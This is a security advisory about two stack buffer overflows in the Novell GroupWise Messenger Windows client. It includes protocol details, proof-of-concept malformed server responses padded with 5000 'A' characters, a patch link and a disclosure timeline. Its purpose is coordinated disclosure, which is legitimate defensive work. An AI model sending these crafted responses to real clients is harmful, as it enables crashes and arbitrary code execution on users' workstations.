|
|
|
|
| |
| Novell GroupWise Messenger is "a corporate instant messaging product that uses Novell eDirectory as its user database". A vulnerability exists in the Novell GroupWise Messenger Client (GWIM) for Windows that could allow an attacker to execute arbitrary code on a compromised workstation. The vulnerability takes the form of a remote buffer overflow in the client, caused by spoofed server responses to valid client requests. All versions of the Windows client, prior to the patch for this issue, are vulnerable. |
| |
Credit:
The information has been provided by Infobyte Security Research.
The original article can be found at: http://www.infobyte.com.ar/adv/ISR-17.html
|
| |
Vulnerable Systems:
* Novell GroupWise Messenger version 2.0.3
Vulnerability demo:
A flash movie has been created to demonstrate the vulnerabilities:
http://www.infobyte.com.ar/demo/ISR_groupwise_messenger.html
Issue 1:
This issue is due to a failure of the application to securely parse the server's response. The application server works similarly to HTTP protocol, default tcp port 8300. The server always response the client's request with something like this:
"
HTTP/1.0 200 \r
Date: xxx, xx xxx xxxx xx:xx:xx GMT\r
Pragma: no-cache\r
Cache-Control: no-cache\r
\r
%VALUES%
\0\0\0
\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0
\0\27\0\0\0NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0
"
If the client application receive a server response to any request like the following, a stack overflow is occurred:
"
HTTP/1.0 200 \r
Date: xxx, xx xxx xxxx xx:xx:xx GMT\r
Pragma: no-cache\r
Cache-Control: no-cache\r
\r
%VALUES%
\0\0\0
\0\24\0\0\0NM_A_SZ_RESULT_CODE\0\2\0\0\x000\0
\0\27\0\0\0NM_A_SZ_TRANSACTION_ID\0\2\0\0\x001\0\0"+ "AAAAAAAAAA...." x 5000
Issue 2:
We found another stack overflow regarding the client's popup alerts, when you receive a message of another user the server send a string like this to the client:
"l\0\0\x001\0\0\0CN=XXXX,OU=XX,OU=XXXX,OU=XX,OU=XX,O=INFOBYTEXX\0' \0\0\0[871F8247-4B110000-0A01C80A-6C20-010
0]\0\1\0\0\0\xE4\0\0\0{\\rtf1\\fbidis\\ansi\\ansicpg1252\\deff0\\deflang3082 {\\fonttbl{\\f0\\fswiss\\fprq2\\fcharset0
fontname;}}\r\n{\\colortbl;\\red0\\green0\\blue0;}\r\n\\viewkind4\\uc1\\pard \\ltrpar\\li50\\ri50\\cf1\\f0\\fs20 MESSAGE\\par\r\n}\r\n\0";
If a client receive a string like this but in any place of the string it's added an "A" x 5000 you have another stack overflow.
Impact:
Both vulnerabilities permit arbitrary code execution.
Vendor response:
http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5026700.html
CVE Information:
CVE-2008-2703, CVE-2008-2704
Disclosure timeline:
01/12/2008 - Initial vendor notification
01/13/2008 - Initial vendor response notify research
06/10/2008 - Coordinated public disclosure
|
|
|
|
|
|
|
